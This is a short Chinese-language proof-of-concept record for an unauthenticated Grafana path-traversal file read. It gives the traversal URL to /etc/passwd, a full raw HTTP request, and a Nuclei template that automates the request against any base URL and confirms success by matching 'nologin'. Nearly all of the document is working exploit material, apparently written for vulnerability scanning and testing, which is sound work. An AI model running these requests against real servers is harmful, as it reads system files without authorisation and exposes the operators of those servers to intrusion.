影响版本:8.0.0-lastest
poc: /public/plugins/icon/../../../../../../../../../../../../../../../../../../etc/passwd
GET /public/plugins/icon/../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
依此写出nuclei的poc:
id: Grafana未授权文件读取
info:
name: Grafana-File-read
author: txf
description: Grafana!
reference:
- https://github.com/tangxiaofeng7/Grafana-File-Read
severity: critical
tags: cve,cve2021,grafana
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.80
requests:
- method: GET
path:
- "{{BaseURL}}/public/plugins/icon/../../../../../../../../../../../../../../../../../../etc/passwd "
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- 'nologin'


